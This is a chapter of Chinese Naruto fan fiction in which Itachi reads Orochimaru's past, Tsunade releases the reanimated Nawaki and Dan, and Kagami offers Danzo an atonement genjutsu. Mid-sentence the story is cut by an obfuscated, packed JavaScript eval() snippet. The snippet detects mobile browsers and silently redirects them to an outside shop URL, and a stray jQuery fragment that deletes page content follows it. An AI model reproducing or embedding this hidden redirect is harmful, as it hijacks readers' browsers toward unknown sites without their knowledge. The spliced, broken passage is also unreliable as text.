“需要从那么久之前讲起么?”我问。
虽然有的是时间,但我现在感觉大蛇丸有种拖时间的嫌疑。
绳树在的那时代,佐助还不知道在哪儿呢……
“我不趁机讲绳树的话,等我讲完,你还是要去找他们的。”大蛇丸道。
那行吧。
“说起来,我徒弟挺多的。”大蛇丸回忆,“除了佐助,其他人都没有杀师的想法呢……”
“毕竟你是打算夺舍佐助。”我道。
“鼬君,你这样打断我,我都忘记自己要讲什么了。”大蛇丸道。
“那就按我的节奏来,我问你答……”
我想了想问题,还是觉得这样太慢了。
“算了,让我看看你的经历。”
我启动我那只许久没用的轮回眼,即看到人过往的能力。
我一边开着月读缩时间,一边开着轮回眼,没一会儿,我就看完了大蛇丸的全部人生经历。
“你在欺骗我,事实上,你未来和佐助根本没有太大交集。”我对大蛇丸说。
“真是方便的能力呀。”大蛇丸看起来有些尴尬。
“既然看了,就在这里等吧。”我说。
“我以为你会着急完成四代的任务。”大蛇丸道。
我懒得解释,主要是……很少见到大蛇丸这样子。
而且大蛇丸记忆,让我看的有点难受……
大蛇丸在木叶的时候,接的任务是最多的。
比他两个同伴都更执着于做任务。
但大蛇丸和兜终究不一样,兜是被逼着叛逃。大蛇丸是为了自己永生的梦想。
所有一切代价都是咎由自取。
其实在忍界和平年代没有到来之前,死人是很正常的事情,哪怕是做人体实验,如果大蛇丸没有对木叶的忍者下手的话,也不会被逼着非要叛逃。
三代又不是不知道他徒弟的性格。正是因为知道,他才会更支持水门老师当四代目。
只不过之前睁一只眼闭一只眼,等手伸到自己村子里的忍者后,立场使他不能再忍下去了。
“大蛇丸,我不知道你之前想要说什么,但我觉得你不后悔,这些年你唯一惋惜过的,只有你认识几个人的死亡。”
绳树,断,还有自来也,还有之后的三代。
而这一切的结果只不过让大蛇丸更加紧随永生的脚步。
所以没有再提的必要。
“其实我还有些有些好奇的,毕竟绳树和断复活了。我想看下纲手的态度再决定我自己的态度。”
于是我们就这样沉默,直到纲手拉着绳树和断回来。
“我想好了,死亡已经不可逆。而我现在需要珍惜的是活着的人……咦,大蛇丸,你似乎变的和之前不大一样了?”纲手说。
“这话你之前说过一次……”大蛇丸道。
“有吗?我不记得讲过。”纲手疑惑。
“因为是未来的你。”大蛇丸说。
“大蛇丸,解除他们两个人的秽土转生吧。”纲手道。
“你不再留一下么?至少等一个月。”大蛇丸问。
“不,这太自私了,秽土没有痛觉,没有触觉,不需要吃饭也不需要睡觉,他们现在存在是痛苦的。”纲手说。
“如果是真正彻底的复活呢?”大蛇丸问。
“那也不要。这不是他们的时代了,会带来更多的痛苦。”纲手仍然摇头。
比如说这个世界的宇智波斑么?
“其实是我们自己想离开的。”加藤断道。
“主要这时候留下也当不了火影呐,我们连身份都没有。”绳树说。
“都打出失败结局了,再耍赖回来也太丢人了。”绳树有些不满。
然后大蛇丸解除了秽土转生。
“如果不是复活,而是他们本来就没死就好了。”纲手叹了一口气。
“纲手,你心态变了。”大蛇丸说。
“恐血症都好了嘛……我还要继续研究医疗忍术呢!”纲手道。
“真是看的开呀……好像看不开的只有我。”大蛇丸笑。
纲手疑惑。
“鼬君,你还要待在这里么?”大蛇丸问。
我想了想,好像没必要,于是解除了影分身。
*
本体的我收到了影分身传来的消息。
原来如此,不过在大蛇丸那边还有一个影分身,跟着千手扉间的。
等等,谁拍了我的肩?
我转身……哦,原来是二代目呀……
是千手扉间!
“我一直感觉,这些人中,你才是最重要的那个。所以你为什么会是鸳鸯眼?”二代问我。
“因为有只眼睛是外来的。”我说。
“轮回眼么?”二代目问。
“是。”我应。
“我的感知忍术很强,所以我能感觉到,这只轮回眼也是你的眼睛。”他说。
这是自然,算是我眼睛变异的,我和他解释了一下我的情况。
他道:“其实我是研究宇智波眼睛的专家……宇智波自然状态是开不了轮回眼的。”
我看他……研究宇智波眼睛的专家,总觉得挖过很多宇智波眼睛。
“别这么看着我,我们那时是战时,我忍术强度不及我哥,只能研究一些偏门的忍术。那时候死在千手的宇智波,和死在宇智波的千手都不尽其数,我也只是尽了自己一份力。”
战时……我知道战争,无仇无怨的人会为了不属于自己的目标搏命死在战场上。
我沉默,二代就继续道:“所以你的轮回眼关不上。一直会消耗查克拉。”
“我现在的查克拉够耗。”我解释。
“平时肯定够用,但战时说不定,一旦查克拉即将耗尽,轮回眼会把你带向死亡。”千手扉间说。
“那也是我命该绝。”我笑。
“我不会让战争再发生。”我的表情严肃了一些。
“嗯,大蛇丸和我提过大筒木的事情。”千手扉间,“我会多留一段时开发相关的配套武器,对付大筒木的。”
“忍界和我们这些死人本身也没什么关系了,研究完我就解除秽土转生。”千手扉间说。
所以……
“我需要你的配合。”千手扉间说。
二代目是拥有道德,德高望重的火影,而大蛇已从良。
于是我说:“好。”
千手扉间解除了他的影分身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642766|203164||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
消失了。
来见我本体的却是影分身么?
真是谨慎呀……
我留了一个影分身在这里,回到了宇智波族地。
看到了止水和镜在聊天。
“小鼬!”止水高兴的向我打招呼。
我没有过去。
我和止水相差越来越大,都是遭遇挫折开了万花筒,止水显的比我正常的多。
“镜说要去监狱里看下团藏,你要跟着去吗?”止水问。
我停下了脚步。
“团藏是我的同期,我们有着共同的老师,听到他变成这样我还挺难过的。”宇智波镜道。
“好。”我应。
然后问止水:“不是你的祖先么?怎么直接叫名字。”
“因为镜死太早了,现在又这么年轻的样子,实在叫不出爷爷……”止水道。
“没关系。”镜好脾气的说。
来到监狱,团藏靠在墙上。
大约是树敌太多,团藏看上去像被打过,有淤伤,他看向了宇智波镜。
睁大了眼。
“镜?你怎么活了?”团藏震惊。
“没活,是秽土转生。”宇智波镜说。
“好精细的秽土转生。这不是禁术么……谁将这禁术研究到如此地步?”团藏惊讶。
“是大蛇丸。团藏,以前虽然觉得你有时候怯了一些,人挺正常呀,怎么现在变成这样了?”宇智波镜震撼。
“你是来嘲笑我的吗?”团藏又靠了回去。
“没有。只是有些遗憾。”宇智波镜道。
“你不明白……当年我只差一点,如果我愿意去当诱饵,三代火影就是我了。”团藏有些接受不了宇智波镜对他的负面评价,“我下定不了决心,我怕了,我没有直接选择,因为我的牺牲意志不够。这些年我一直在补偿,在自我牺牲,建立根支持木叶,但怎么都无法补回当时的犹豫。”
宇智波镜露出了那种有些怜悯的表情。
志村团藏:“我现在做了那么多,牺牲自己背了那么多仇恨,我已经够资格当火影了……我都等到这把年纪了,还不够么?”
宇智波镜:“你并不明白牺牲的意义。那不是比谁能吃苦,谁更能忍受,而是牺牲自己保护活下来的人。我以为看到老师作为诱饵死去,你会明白的……”
“不管是你,还是日斩,又或者我和其他的人,老师都没有选择,他明明更有能力,是尊贵的火影大人,却选择自己当诱饵,难道你就不震撼么?”
志村团藏哑声,好久才说:“太久了,镜,我想不起来了。”
“我还可以使用我的万花筒,团藏,你想重来一次么?”宇智波镜说。
宇智波镜的万花筒……
“镜,是什么?”止水问。
“幻术类的,和你的别天神有点像。不过没那么强……是老师死后才出现的。”镜道。
“这是一个心甘情愿的幻术,你可以主动解除它,但解除的代价是死亡”,团藏看向宇智波镜。
“要么中着幻术活着,要么解除幻术直接去死。”宇智波镜说。
“你想施加什么幻术?”团藏问。
“赎罪。尽你全力去拯救木叶,拯救世界。”